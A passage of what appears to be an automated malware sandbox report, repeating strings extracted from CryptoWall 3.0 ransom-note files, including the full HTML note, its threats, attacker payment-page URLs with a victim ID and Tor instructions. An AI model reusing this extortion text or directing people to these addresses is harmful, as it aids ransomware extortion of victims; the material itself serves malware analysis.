pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html119.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt196.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt54.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html18.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html164.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt289.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt285.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt118.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html133.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt308.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt107.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html194.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt316.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html135.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt420.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt398.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt260.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt25.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html104.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html146.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt299.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt160.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html185.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html250.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt51.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt61.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html361.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a 